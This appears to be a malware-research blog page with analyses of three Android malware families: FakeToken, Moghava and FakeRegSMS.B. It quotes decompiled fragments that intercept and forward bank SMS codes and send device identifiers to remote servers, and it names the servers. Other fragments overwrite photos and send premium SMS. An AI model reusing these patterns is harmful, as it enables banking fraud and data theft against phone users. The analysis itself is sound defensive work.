Category: Mobile Malware

Intro: What is Android.FakeToken?

This new malware-family emerged some days ago within a spanish Spam-campain and spreads through email and SMS messages. This new Android malware tries to forward mTAN SMS messages to a remote user and thus has the typical man-in-the-middle functionality, we have already seen in malware families like Zeus and SpyEye, but it also can be controlled remotely and doesn’t need to infect the user’s PC.

Analysis of the Application and Its Structure

When installing the app it requests the following permissions:

• android.permission.READ_PHONE_STATE
• android.permission.ACCESS_NETWORK_STATE
• android.permission.SEND_SMS
• android.permission.RECEIVE_SMS
• android.permission.INTERNET
• android.permission.WRITE_EXTERNAL_STORAGE
• android.permission.INSTALL_PACKAGES
• android.permission.DELETE_PACKAGES
• android.permission.READ_CONTACTS
• android.permission.RECEIVE_BOOT_COMPLETED

After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, USER_PRESENT, PHONE_STATE or SMS_RECEIVED). When the user executes the app, it shows a WebView component that displays an html-page which looks like a Token-Generator and it appears to be from the targeted bank (in our case it should look like the Santander Consumer Bank):

localWebView.addJavascriptInterface(new WebApi(this), "android");
System.out.println("Build.VERSION.RELEASE: " + Build.VERSION.RELEASE);
if ((Build.VERSION.RELEASE.startsWith("2.3.1")) || (Build.VERSION.RELEASE.startsWith("2.3.3")))
      localWebView.loadUrl("file:///android_asset/html/index_bag.html");
....

To get the fake token (just a random number), the user must enter the first factor of authentication. As soon as this step is done, the application sends a SMS message to the author and starts a background service afterwards:

public void sendPass(String paramString)
  {
    try
    {
      if (!Settings.saved.sendInitSms)
      {
        Settings.saved.sendInitSms = true;
        String str = Settings.saved.smsPrefix + " INIT " + MainApplication.imei + " " + MainApplication.imsi + " " + paramString;
        MainService.sendSms(Settings.saved.number, str);
        MainApplication.settings.save(this.context);
      }
....

This background service is listening to commands from the remote server (e.g. update of configuration) and starts periodically. When the smartphone of the victim receives a SMS message, the broadcast will be aborted and the message will be forwarded to a given phone number or remote server.

abortBroadcast();
SmsMessage localSmsMessage = arrayOfSmsMessage[j];
String str1 = localSmsMessage.getOriginatingAddress();
String str2 = localSmsMessage.getMessageBody();
CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2);
if (localCatchResult.result)
   MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key);
if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))

The application sends IMEI, IMSI, phone type, version, sid, phone number and the SMS body within a HTTP Post to one of the corresponding remote servers. These servers and all necessary information are stored in a xml configuration (/data/data/token.generator/files/settings):

   
   
   79021121067
   1.0
   santander
   
   
      http://icoolshop.ru/cp/server.php
      http://iconsshopbest.com/cp/server.php
   
   qe4faf23r4e2
   sid_1
   false
   1331934321409
   43200

This file can be updated remotely (via SMS and HTTP GET) if the phone number or server address of the malware author changes. The malware also has the ability to install further apk-files and sends the phone numbers of all entries in the address book of the victim to a remote server. The last step happens probably for further distribution of the malware.

Sample Information:

sha256:
f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79

md5:
4548973449f707a6359a9b321ef54d31

Mobile-Sandbox Report

Intro: What is Android.Moghava?

This new malware-family emerged some days ago in third-party Iranian Android-Markets. It is one of the very few samples out there that is not intended to make money. Instead, the app represents another sample from the side of politically-motivated hacking (hacktivism) which modifies images that are stored on the device.

Even if this malicious app doesn’t cause any financial loss to the user of the smartphone, all the pictures on the smartphone are compromised.

Unfortunately, the sample which was submitted to our mobile-sandbox is not signed, so we couldn’t run it in our emulator and the rest of this analysis is made by looking directly in the decompiled code of the application.

Analysis of the Application and Its Structure

When installing the app it is requests the following permissions:

• android.permission.WRITE_EXTERNAL_STORAGE
• android.permission.RECEIVE_BOOT_COMPLETED

The application consist of two packages:

• the benign part of the app: ir.sharif.iranianfoods
• and the malicious part: com.Moghava

As it is very obvious that this is another repackaged app, we concentrated our analysis on the second package which has two classes, we will look at in the next sections.

com.Moghava.kicker

This class is called when the smartphone receives a “boot completed” and calls the second class of the malicious package (see the code snippet below).

public void onReceive(Context paramContext, Intent paramIntent){
   if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction())){
      paramContext.startService(new Intent(paramContext, stamper.class));
   }
}

com.Moghava.stamper

This class is responsible for the malicious action of the application. First it tries to receive a list with every picture of your phone. This action runs in the background in regular intervals.

File[] arrayOfFile = new File("/sdcard/DCIM/Camera/").listFiles(new FilenameFilter(){
   public boolean accept(File paramFile, String paramString){
      return paramString.endsWith(".jpg");
   }
...

The application is only checking the /sdcard/DCIM/Camera/ folder, so on newer smartphones like the Samsung Galaxy S2 it isn’t getting all of your photos. On these smartphones the photos are often stored in /sdcard/external_sd/DCIM/Camera/.

After the application has received the list with all pictures inside this directory, it tries to modify them by merging the picture with a picture of Ayatollah Khomeini. Since the app isn’t checking if the picture is already compromised it does this action over and over again till the storage becomes full.

localBitmap1 = BitmapFactory.decodeResource(stamper.this.getResources(), 2130837505);
localBitmap2 = BitmapFactory.decodeFile(localFile.getPath());
if (localBitmap2.getWidth() > localBitmap1.getWidth()){
   k = localBitmap2.getWidth();
   n = localBitmap2.getHeight();
   localBitmap3 = Bitmap.createBitmap(k, n, Bitmap.Config.ARGB_8888);
   Canvas localCanvas = new Canvas(localBitmap3);
   localCanvas.drawBitmap(localBitmap2, 0.0F, 0.0F, null);
   localCanvas.drawBitmap(localBitmap1, 100.0F, 300.0F, null);
}

Sample Information:

sha256:
94bb6ade1ef31c6c96b98c7d8fad1abbc794292730f4363ea3cd9204fc5c9dfd

md5:
ec86f084ea0e0d0a33d5f39df19bd7be

Mobile-Sandbox Report

Intro: What is Android.FakeRegSMS.B?

This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.

After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a “Rules” button where he/she can see that the service will send a SMS message to a premium service.

Analysis of the Application and Its Structure

The app requests the following permission:

• android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)

The interesting part of the application: Steganography!

The first hint that this app is doing something “strange” appears when you look at the following lines:

byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray();
int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt"));
if (k < 0)
   throw new IOException("Chank tEXt not found in png");

Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:

invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v2, "icon.png"
invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v1
iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;

The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:

• /res/drawable-hdpi/icon.png
• /res/drawable-mdpi/icon.png
• /res/drawable-ldpi/icon.png

When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:

Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:

ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i1 = i; ; i1++)
   {
      int i2 = (byte)localDataInputStream1.read();
      if (i2 == -1)
         break;
      localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length()));
   }

These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43

To get the unobfuscated values of the tEXt chunk we are using the python script below.

#!/usr/bin/python
key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"
length = len(key)
obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09"
unObfuscatedData = ""
for x, y in enumerate(obfuscatedData):
    keyIndex = x % length
    unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex]))
print "unobfuscated data: " + unObfuscatedData

After running this small python script we receive the following output:

420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=


With this unobfuscated strings, the following few lines of code of the class-file make some more sense:

if (i < i5){
   String str;
   try{
      str = localDataInputStream2.readUTF();
      if (str.equals("costLimit")){
         this.d = Integer.parseInt(localDataInputStream2.readUTF());
         break label519;
      }
      if (str.equals("costLimitPeriod"))
         this.e = Integer.parseInt(localDataInputStream2.readUTF());
      }
   catch (IOException localIOException){
      localIOException.printStackTrace();
      break label519;
      if (str.equals("smsData"))
         this.f = localDataInputStream2.readUTF();
   }
   catch (NumberFormatException localNumberFormatException){
          localNumberFormatException.printStackTrace();
       }
   if (str.equals("smsDelay"))
      this.h = Integer.parseInt(localDataInputStream2.readUTF());
   else
      this.g.put(str, localDataInputStream2.readUTF());
}

With the output of our python script we get some values for the variables used in the code snippet above:

• costLimit = 150
• costLimitPeriod = 8640
• smsData = l5872600885697126387416947526760l
• smsDelay = 15

Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:

private static boolean a(String paramString1, String paramString2){
   try{
      SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null);
      return true;
   }
   catch (Exception localException){
      while (true)
         Log.e("Logic", "Error sending sms", localException);
   }
}

After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:

Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:

• Receipient: 5111
• Message: 420 10048 l5872600885697126387416947526760l0100

After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author (erohit.biz) is between 15 and 400 Russian ruble.

Sample Information:

sha256:
8a8a246eea40e49b1aaad23fd867b8a9faeb936fe020ba5ce43b4547331a63ea

md5:
41ca3efde1fb6228a3ea13db67bd0722

Mobile-Sandbox Report